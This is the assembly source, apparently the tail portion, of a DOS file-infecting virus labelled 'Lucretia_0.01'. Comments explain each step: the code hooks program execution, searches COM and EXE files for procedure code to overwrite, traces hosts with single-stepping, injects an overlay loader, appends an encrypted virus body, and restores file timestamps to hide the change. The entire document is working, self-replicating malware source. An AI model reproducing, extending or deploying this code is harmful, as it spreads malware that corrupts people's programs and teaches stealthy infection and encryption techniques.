; Control arrives here on every EXEC call; this is the main procedure handling
;  infection of files

exec_load:
                sti
                lds     si,[bp+12]
                push    ss
                pop     es
                mov     di,offset exec_pb
                push    di
                mov     cx,7                    ;Copy the EXEC parameter block
                rep     movsw
                lds     si,[bp+8]
                mov     di,offset exec_name
                mov     dx,di
                push    dx
                mov     ah,60h                  ;Resolve and copy the file name
                call    dos
                push    ss
                pop     ds
                call    read_exe_header
                pop     dx
                pop     bx                      ;Exit if error reading header
                jc      read_exe_fail           ; or unable to infect this file
                mov     ds:[exe_flag],cl
                mov     ax,4b01h
                pushf
                push    cs
                call    dos_go                  ;Load but do not execute
                jc      read_exe_fail
                mov     ah,62h
                call    dos
                mov     ds,bx
                mov     dx,terminate_entry-base
                mov     ds:[10],dx              ;Adjust terminate address
                mov     ds:[12],cs
                mov     ds:[53h],ss             ;Save pointer to work segment
                push    cs                      ; into user program PSP
                pop     ds
                mov     ax,2522h                ;Adjust DOS terminate address
                call    dos
                push    ss
                pop     ds
                xchg    ax,bx                   ;Init internal variables
                mov     ds:[psp_seg],ax
                xchg    di,ax
                call    zero_trap
                xchg    ax,bx
                cwd
                call    set_inject_pos
                mov     ds:[relo_len],ax
                xchg    bx,ax
                mov     ax,es:[46ch]            ;Init random seed using value
                mov     ds:[rand_seed],ax       ; obtained from system timer
                in      al,[40h]
                mov     ah,al
                in      al,[40h]
                mov     ds:[rand_seed+2],ax
                and     al,7
                inc     ax
                mov     word ptr ds:[trap_count],ax
                push    di
                call    analyse_exe             ;Analyse for infection type #1
                pop     di
                push    ss
                pop     ds
                mov     bx,200h
                jnc     exec_load_go            ;Exit if successful
                cmp     ds:[exe_flag],bl
                jne     exec_load_go            ;Exit if EXE file
                call    trap_setup              ;Analyse for infection type #2
                push    ss
                pop     ds
exec_load_go:
                mov     ss,ds:[exec_pb+10h]     ;Switch to user stack
                mov     sp,ds:[exec_pb+0eh]
                pop     ax                      ;Load user AX value
                push    bx
                push    ds:[exec_pb+14h]        ;User program entry
                push    ds:[exec_pb+12h]
                mov     ds,ds:[psp_seg]         ;Load PSP into DS, ES
                push    ds
                pop     es
                iret                            ;Start up user program

; Overwrite a relocation table item with a pointer to dummy word in the overlay
;  loader

remove_callback:
                mov     ax,load_1_chain+2-main_entry
                add     ax,di
                mov     [si-4],ax
                mov     ax,dx
                push    cx
                mov     cl,12
                shl     ax,cl
                pop     cx
                mov     [si-2],ax
                ret

; Control arrives here after searching the user program code image has
;  completed; analyse results of the search

search_done:
                push    ss
                pop     ds
                mov     al,byte ptr ds:[load_len+1]
                xor     ah,ah
                cmp     ds:[proc_count],ax      ;Don't infect if not enough
                jb      search_fail             ; procedures were found
                xchg    ax,bx
                stc
                mov     bp,ds:[best_proc_len]
                inc     bp
                jz      search_fail             ;No match
                dec     bp
                les     di,dword ptr ds:[best_proc_pos]
                mov     dx,es
                cmp     ds:[exe_flag],al
                je      search_done_calc
                mov     ax,remove_callback-base ;Remove relocation items from
                call    process_header          ; an EXE file
                mov     ax,ds:[exe_header+8]
search_done_calc:
                mov     si,dx                   ;Adjust procedure position with
                mov     dx,16                   ; header length to obtain file
                mul     dx                      ; position
                add     ax,di
                adc     dx,si
set_inject_pos:
                mov     ds:[inject_pos],ax
                mov     ds:[inject_pos+2],dx
search_fail:
                ret

; Analyse a file to determine if infection method #1 would be successful, and
;  select a code region if positive

analyse_exe:
                mov     ax,ds:[file_size]       ;Calculate code image length
                mov     cl,4
                shr     ax,cl
                cmp     ds:[exe_flag],dl
                je      calc_load_len
                les     ax,dword ptr ds:[exe_header+4]
                mov     cx,es                   ;Do not infect if no relocation
                jcxz    search_fail             ; items (handle EXEPACK, etc.)
                dec     ax
                mov     cl,5
                shl     ax,cl
calc_load_len:
                sub     ax,100h                 ;Reduce by 4096 bytes
                jc      search_fail
                mov     ds:[load_len],ax
                push    ds
                pop     es
                xchg    bx,ax
                mov     ds:[proc_count],ax
                dec     ax
                mov     ds:[best_proc_len],ax
                add     di,90h                  ;Start searching at PSP+90:0
search_1:                                       ; (exclude first 2048 bytes)
                or      bx,bx
                jz      search_done             ;End search if length zero
                mov     ds,di
                xor     si,si
                mov     ss:[trap_last],si
                mov     ax,bx
                cmp     ax,0fffh
                jbe     search_2
                mov     ax,0fffh
search_2:
                add     di,ax
                sub     bx,ax
                mov     cl,4
                shl     ax,cl
                xchg    cx,ax
search_3:
                cmp     cx,15                   ;Proceed to next segment if
                jb      search_1                ; less than 15 bytes left
                xor     dx,dx
                mov     bp,si
                dec     cx
                lodsb
                cmp     al,0a9h                 ;Check for infection mark, exit
                jne     search_4                ; if found
                cmp     [si],0a9a9h
                je      search_fail

; Check for procedure exit code

search_4:
                mov     ah,[si]
                cmp     ax,0e58bh               ;Check for MOV SP,BP
                je      search_6
                cmp     ax,0ec89h
                je      search_6
                cmp     ax,0c483h               ;Check for ADD SP,immediate
                je      search_5
                cmp     ax,0c481h
                jne     search_9
                dec     cx
                inc     si
search_5:
                dec     cx
                inc     si
search_6:
                dec     cx
                inc     si
                cmp     byte ptr [si],5dh       ;Check for POP BP
                jne     search_3
                dec     cx
                inc     si
                mov     al,[si]
                and     al,0f7h
                cmp     al,0c3h                 ;Check for RET[F]
                je      search_7
                xor     al,0c2h                 ;Check for RET[F] immediate
                jne     search_13
                cmp     [si+2],al
                jne     search_13
                dec     cx
                dec     cx
                lodsw
search_7:
                dec     cx
                inc     si
                dec     cx
                lodsb
                cmp     al,90h                  ;Check for an optional NOP
                jne     search_8                ; (word alignment of code)
                dec     cx
                lodsb
search_8:
                lea     bp,[si-1]
                inc     dx

; Check for procedure entry code

search_9:
                cmp     al,55h                  ;Check for PUSH BP
                jne     search_12
                cmp     [si],0ec83h             ;Check for SUB SP,immediate
                je      search_10
                cmp     [si],0ec81h
                jne     search_11
                dec     cx
                inc     si
search_10:
                dec     cx
                inc     si
                dec     cx
                dec     cx
                lodsw
search_11:
                cmp     [si],0ec8bh             ;Check for MOV BP,SP
                je      search_15
                cmp     [si],0e589h
                je      search_15
search_12:
                dec     dx
                jnz     search_3
search_13:
                mov     ss:[trap_last],dx       ;No current procedure found
search_14:
                jmp     search_3
search_15:
                dec     cx
                dec     cx
                lodsw
                or      dx,dx
                jz      search_13

; Control arrives here if a procedure end has been found

                push    di
                push    si
                push    cx
                push    bx
                push    ds
                push    ss
                pop     ds
                mov     di,bp
                xchg    ds:[trap_last],di
                or      di,di
                jz      search_16               ;No procedure entry
                sub     bp,di
                cmp     bp,1000h                ;Discard procedures longer than
                jae     search_16               ; 4096 bytes
                inc     ds:[proc_count]
                cmp     bp,ds:[best_proc_len]   ;Ignore if longer than best
                ja      search_16               ; match
                pop     ax
                push    ax
                push    di
                sub     ax,ds:[psp_seg]
                mov     dx,16
                sub     ax,dx
                mul     dx
                add     di,ax                   ;DX:DI = Procedure position
                adc     dl,dh
                mov     ax,search_fail-base     ;Dummy callback
                call    process_header
                pop     si
                add     bx,loader_len
                cmp     bp,bx                   ;Not enough room for overlay
                jb      search_16               ; loader
                cmp     ds:[best_proc_len],-1
                rol     ds:[trap_count+1],1     ;Random number here
                ja      search_16
                mov     ds:[best_proc_len],bp   ;Save best match
                mov     ds:[best_proc_pos],di
                mov     ds:[best_proc_pos+2],dx
                pop     ds
                push    ds
                mov     di,offset code_buf
                mov     cx,tmp_area_len+base_addr-main_entry
                rep     movsb                   ;Copy procedure code to buffer
search_16:
                pop     ds
                pop     bx
                pop     cx
                pop     si
                pop     di
                jmp     search_14               ;Continue the search

; Process EXE relocation table to find items that point to the selected region

process_header:
                mov     ds:[tmp_callback],ax
                mov     si,offset relo_table
                xor     bx,bx
                cmp     ds:[exe_flag],bl
                je      header_5                ;Exit if COM file
                mov     cx,ds:[exe_header+6]
header_1:
                lodsw
                lodsw
                push    bx
                push    dx
                mov     dx,16
                mul     dx
                xor     bl,bl
                add     ax,[si-4]
                adc     bl,dl
                pop     dx
                sub     ax,di
                sbb     bl,dl

; Compare against min(maximal overlay loader length,procedure length)

                cmp     bp,tmp_area_len+base_addr-main_entry
                jc      header_2
                cmp     ax,tmp_area_len+base_addr-main_entry
                jmp     short header_3
header_2:
                cmp     ax,bp
header_3:
                sbb     bl,dh
                pop     bx
                jae     header_4                ;Outside the region
                cmp     bx,(tmp_area_len-tmp_len) and -2
                je      header_fail             ;Relocation buffer full
                mov     [bx+relo_buf],ax        ;Save to relocation buffer
                inc     bx
                inc     bx
                call    ds:[tmp_callback]       ;Call user callback procedure
header_4:
                loop    header_1
header_5:
                mov     ds:[relo_len],bx        ;Save relocation buffer length
                ret
header_fail:
                xor     bp,bp
                ret

; Prepare for attempting infection method #2 (COM files only)

trap_setup:
                push    di
                xor     di,di
                mov     es,di
                les     bx,es:[di+4]
                call    set_trap                ;Save INT 01 vector
                push    ds
                pop     es
                xor     ax,ax
                mov     ds:[trap_last],ax

; Initialize CRC table

crc_setup_1:
                push    ax
                mov     cx,8
crc_setup_2:
                shr     ax,1
                jnc     crc_setup_3
                xor     ax,0a001h               ;CRC polynomial
crc_setup_3:
                loop    crc_setup_2
                stosw
                pop     ax
                inc     al
                jnz     crc_setup_1

; Initialize check sum map: file image is broken into 256-byte pages; a CRC-16
;  for each available page is stored, zero is stored for unavailable pages

                mov     cl,byte ptr ds:[file_size+1]
                sub     cl,7                    ;Discard last 8 pages
                pop     ds
                stosw                           ;Discard PSP
                mov     si,100h
                push    si
                push    cx
crc_file:                                       ;CRC the whole code image and
                call    crc_page                ; store the values to the map
                stosw
                loop    crc_file
                xchg    ax,cx
                pop     cx
                not     cl                      ;Fill the map up to the end
                rep     stosw                   ; with zeros
                pop     bx
trace_jumps:
                mov     al,bh
                shl     ax,1
                mov     di,offset checkmap_buf
                add     di,ax
                xor     ax,ax
                mov     cl,8                    ;Discard 2048 bytes (8 pages)
                rep     stosw
                mov     al,[bx]
                add     bx,[bx+1]
                add     bx,3
                and     al,0feh
                cmp     al,0e8h                 ;Check for JMP or CALL at entry
                je      trace_jumps             ;Keep discarding if positive
                mov     bh,3
                push    cs                      ;Point INT 01 (single step) to
                pop     ds                      ; our handler and prepare for
                mov     dx,trap_entry-base      ; tracing
                mov     ax,2501h

dos:
                pushf
                push    cs
                call    dos_go
                ret
seek_rel:
                mov     dx,ds:[exe_header+18h]
seek:
                mov     ax,4200h
                jmp     dos
seek_eof:
                mov     ax,4202h
dos_z:
                xor     cx,cx
                cwd
                jmp     dos

; Perform a CRC-16 over a file page, using precomputed CRC table

crc_page:
                call    swap_ds_es
                push    cx
                push    di
                xor     bh,bh
                xor     dx,dx
                mov     cl,80h
crc_page_loop:
                lods    word ptr es:[si]
                xor     al,dl
                mov     bl,al
                mov     dl,dh
                mov     dh,bh
                mov     di,bx
                xor     dx,[bx+di]
                xor     ah,dl
                mov     bl,ah
                mov     dl,dh
                mov     dh,bh
                mov     di,bx
                xor     dx,[bx+di]
                loop    crc_page_loop
                pop     di
                pop     cx
                xchg    ax,dx
swap_ds_es:
                push    ds
                push    es
                pop     ds
                pop     es
                ret

; Control arrives here after each instruction of the user program being single
;  stepped through

trap_entry:
                call    push_all
                les     di,[bp+16h]
                mov     cx,es                   ;Check if code segment
                mov     ds,es:[53h]             ; unchanged
                xor     cx,ds:[psp_seg]
                jne     trap_stop               ;Exit if negative
                dec     di
                dec     di
                cmp     es:[di],1cdh            ;Check for INT 01 placed after
                jne     trap_check              ; a REP instruction
                cmp     ds:[trap_last],di
                jne     trap_check
                mov     ax,ds:[trap_save]       ;Restore the overwritten
                stosw                           ; instruction if positive, re-
                inc     byte ptr [bp+1bh]       ; enter single step mode, and
                sub     word ptr [bp+16h],2     ; adjust the IP back
                jmp     short trap_done
trap_check:
                mov     es,cx
                mov     ax,es:[46ch]            ;Check if more than half a
                sub     ax,ds:[rand_seed]       ; second has elapsed
                cmp     ax,9
                ja      trap_cancel             ;Exit if positive
                mov     al,[bp+17h]
                shl     ax,1
                push    ds
                pop     es
                mov     di,offset checkmap_buf
                add     di,ax                   ;Consult the check sum map to
                cmp     [di],cx                 ; find out if current page is
                je      trap_rep                ; available, exit if negative
                shr     ax,1
                xchg    al,ah
                xchg    si,ax
                lds     ax,[bp+16h]
                add     ax,loader_len+255
                sub     ax,si
                mov     cl,ah
                push    di
crc_check:                                      ;Check if pages that would be
                call    crc_page                ; occupied by the overlay
                scasw                           ; loader are unchanged
                loope   crc_check
                pop     di
                xchg    ax,cx                   ;(marking current page as un-
                stosw                           ; available)
                jne     trap_rep                ;Exit if negative
                mov     ax,[bp+16h]
                mov     si,ax
                mov     di,offset code_buf
                mov     cx,loader_len
                rep     movsb                   ;Copy selected code to buffer
                push    es
                pop     ds
                dec     ah
                mov     ds:[inject_pos],ax      ;Save its position
                dec     ds:[trap_count]         ;Random value
                jnz     trap_rep
trap_cancel:
                call    unhook_trap
trap_stop:
                dec     byte ptr [bp+1bh]       ;Exit single step mode
trap_done:
                call    pop_all                 ;Exit to caller
                iret
trap_rep:
                lds     si,[bp+16h]
                xchg    es:[trap_last],si       ;Check if IP is the same as it
                cmp     [bp+16h],si             ; was at the previous step
                jne     trap_done               ;Exit if negative
                mov     bx,si
trap_rep_1:
                lodsb                           ;Check for REP(NZ)
                and     al,0feh
                cmp     al,0f2h
                je      trap_rep_2
                dec     si
trap_rep_2:
                lodsb                           ;Check for segment prefix
                and     al,0e7h
                cmp     al,26h
                je      trap_rep_1
                dec     si
                lodsb
                and     al,0feh
                cmp     al,0aah                 ;Check for STOS
                je      trap_rep_3
                and     al,0f4h
                cmp     al,0a4h                 ;Check for MOVS/CMPS/LODS/SCAS
                jne     trap_done
trap_rep_3:
                xchg    bx,si
                sub     bx,si
                cmp     bx,3
                ja      trap_done               ;Too long
                add     si,bx
                mov     ax,1cdh                 ;Replace next instruction with
                xchg    [si],ax                 ; INT 01
                mov     es:[trap_save],ax
                mov     es:[trap_last],si
                jmp     trap_stop               ;Exit single step mode

; Restore INT 01 vector to its previous value, if still hooked

unhook_trap:
                les     bx,dword ptr ds:[trap_chain]
                mov     ax,es
                or      ax,bx
                jz      unhook_done
                push    ds
                xor     di,di
                mov     ds,di
                mov     [di+4],bx
                mov     [di+6],es
                pop     ds
zero_trap:
                xor     bx,bx
                mov     es,bx
set_trap:
                mov     ds:[trap_chain],bx
                mov     ds:[trap_chain+2],es
unhook_done:
                ret

; Control arrives here after termination of the user program to be infected;
;  the actual infection is performed here

terminate_entry:
                push    ss
                pop     ds
                call    unhook_trap             ;Unhook INT 01 if still hooked
                mov     ax,ds:[inject_pos]
                or      ax,ds:[inject_pos+2]
                jz      unhook_done             ;Exit if cannot infect
                mov     al,7
                int     29h                     ;Beep at file infection
                mov     ax,3524h
                call    dos
                push    es
                push    bx
                push    cs
                pop     ds
                mov     dx,crit_err_entry-base
                mov     ax,2524h                ;Install own critical error
                push    ax                      ; handler
                call    dos
                push    ss
                pop     es
                mov     si,main_entry-base
                mov     di,offset loader_buf
                mov     cx,loader_len           ;Copy overlay loader to work
                rep     movsb                   ; segment
                push    ss
                pop     ds
                mov     dx,offset exec_name
                mov     ax,3d01h
                call    dos
                jc      infect_fail
                xchg    bx,ax
                mov     ax,5700h                ;Preserve file's date and time
                call    dos
                push    dx
                push    cx
                call    adj_relo
                call    write                   ;Write originally overwirtten
                jc      infect_done             ; code at end of file
                push    cx

; Patch position to load encrypted code from into overlay loader code

                mov     ax,4201h
                call    dos_z
                mov     word ptr ds:[load_1_pos_lo+1-main_entry+loader_buf],ax
                mov     word ptr ds:[load_1_pos_hi+1-main_entry+loader_buf],dx
                call    encrypt_code            ;Encrypt and write virus body
                pop     cx
                jc      infect_done
                push    cx
                les     dx,dword ptr ds:[inject_pos]
                mov     cx,es
                call    seek                    ;Seek to the position of
                pop     cx                      ; selected region and write the
                mov     dx,offset loader_buf    ; patched overlay loader to it
                call    write
                jc      infect_done
                xor     cx,cx
                cmp     ds:[relo_len],cx
                je      infect_done
                call    seek_rel                ;Seek to and rewrite relocation
                call    calc_rel_size           ; table of EXE file, if present
                call    write
infect_done:
                pop     cx                      ;Restore file's date and time
                pop     dx
                mov     ax,5701h
                call    dos
                call    close_f
infect_fail:
                pop     ax
                pop     dx
                pop     ds
                call    dos                     ;Restore critical error handler
                clc
                ret

; Critical error handler

crit_err_entry:
                add     sp,6
                pop     ax
                pop     bx
                pop     cx
                pop     dx
                pop     si
                pop     di
                pop     bp
                pop     ds
                pop     es
                stc
                retf    2

; Prepare code to be overwritten for storing to end of file

adj_relo:
                call    seek_eof

; Patch position to load originally overwritten code from (current end of file)
;  into overlay loader code

                mov     word ptr ds:[load_0_pos_lo+1-main_entry+loader_buf],ax
                mov     word ptr ds:[load_0_pos_hi+1-main_entry+loader_buf],dx

; Patch relocation buffer length and saved code length into overlay loader code

                mov     ax,ds:[relo_len]
                mov     word ptr ds:[load_0_rel_0+1-main_entry+loader_buf],ax
                mov     word ptr ds:[load_0_rel_1+1-main_entry+loader_buf],ax
                add     ax,loader_len
                mov     word ptr ds:[load_0_read+1-main_entry+loader_buf],ax
                xchg    dx,ax

; Patch first word of original code into overlay loader for checking

                mov     ax,ds:[code_buf]
                mov     word ptr ds:[load_0_check+2-main_entry+loader_buf],ax

; De-relocate code buffer for proper relocation at load time

                mov     cx,ds:[relo_len]
                jcxz    adj_relo_3
                mov     si,offset relo_buf
adj_relo_1:
                lodsw
                cmp     ax,dx
                jae     adj_relo_2
                add     ax,offset code_buf
                xchg    di,ax
                mov     ax,ds:[psp_seg]
                add     ax,10h
                sub     [di],ax
adj_relo_2:
                dec     cx
                loop    adj_relo_1
adj_relo_3:
                mov     cx,dx
                mov     dx,offset code_buf
                ret

; Encrypt and write virus body to file

encrypt_code:
                mov     si,offset rand_seed
                mov     di,offset rand_key-main_entry+loader_buf
                movsw                           ;Copy random seed
                movsw
                mov     cl,26
expand_seed:
                mov     al,[di-4]               ;Expand random seed
                xor     al,[di-3]
                rol     al,cl
                stosb
                loop    expand_seed
                mov     cl,12
                push    bx

; Shuffle the expanded seed a couple of times to make a (more) random key

shuffle_seed:
                push    cx
                mov     si,offset rand_key-main_entry+loader_buf
                mov     di,offset temp_key
                push    si
                push    di
                mov     cl,16
                push    cs
                call    simple_crypt_0
                pop     si
                pop     di
                mov     cl,15
                rep     movsw
                pop     cx
                loop    shuffle_seed
                xor     di,di
                xchg    ax,bx

; Store the shuffled encryption seed and patch half of it into loader for check

                mov     word ptr ds:[load_1_check+1-main_entry+loader_buf],ax
                stosw
                xchg    ax,bp
                stosw
                mov     cx,offset ovl_len-4
                mov     si,di

; Copy virus body to work segment

                rep
                movs    byte ptr es:[di],cs:[si]
                mov     si,offset rand_key-main_entry+loader_buf
                xor     di,di
                push    cs
                call    crypt_code              ;Encrypt it with random key
                pop     bx
                mov     cx,offset ovl_len
                xor     dx,dx

write:
                mov     ah,40h
read:
                call    dos
                jc      write_done
                cmp     ax,cx
write_done:
                ret

                db      'Lucretia_0.01'         ;Version string
                dw      0                       ;Serial number

code_end:

ovl_len         =       ($-base+3)/4*4

; This is the structure of work segment allocated at EXEC (all variables here)

exec_data       struc

crc_table       label   word                    ;CRC table (512 bytes)
checkmap_buf    =       crc_table+200h          ;Check sum map (512 bytes)
code_buf        =       checkmap_buf+200h       ;Buffer for overwritten code
encrypt_buf     db      ovl_len dup(?)          ;Buffer to encrypt virus body
                                                ;(overlaps previous buffers)

loader_buf      db      loader_len dup(?)       ;Buffer for overlay loader
relo_buf        label   word                    ;Overlay relocation buffer
                db      tmp_area_len-tmp_len dup(?)
                evendata

save_sp         dw      ?                       ;Saved SS:SP
save_ss         dw      ?

file_size       dw      ?,?                     ;User program file size

exe_header      dw      20h dup(?)              ;User program EXE header
exec_pb         dw      11 dup(?)               ;Saved EXEC parameter block
exec_name       db      80 dup(?)               ;File name of EXEC'ed program
open_name       db      80 dup(?)               ;File name of OPEN'ed program

psp_seg         dw      ?                       ;PSP of user program
trap_chain      dw      ?,?                     ;Saved INT 01

inject_pos      dw      ?,?                     ;Position in file to inject the
                                                ; overlay loader, 0 if none
rand_seed       dw      ?,?                     ;Random seed, obtained from
                                                ; system timer
temp_key        dw      32 dup(?)               ;Temporary encryption key

relo_len        dw      ?                       ;Overlay reloc. buffer length
load_len        dw      ?                       ;Code image load length
best_proc_len   dw      ?                       ;Length of best match procedure
best_proc_pos   dw      ?,?                     ;Position of best match
                                                ; procedure

tmp_callback    dw      ?                       ;\    temporarily
trap_last       dw      ?                       ; \      used
proc_count      label   word                    ;  >      by
trap_save       dw      ?                       ; /   analyse_exe
trap_count      db      ?,?                     ;/      and trap

exe_flag        db      ?                       ;Flag if user program is EXE

                evendata
exec_stack      db      100h dup(?)             ;Temporary stack for EXEC

stack_top       label   word                    ;Top of temp stack

relo_table      label   word                    ;EXE relocation table buffer
                                                ;(variable length)

                ends

                end     code_start

--- End LUCRETIA.FEM ----------------------------------------------------------

<<< end of file >>>
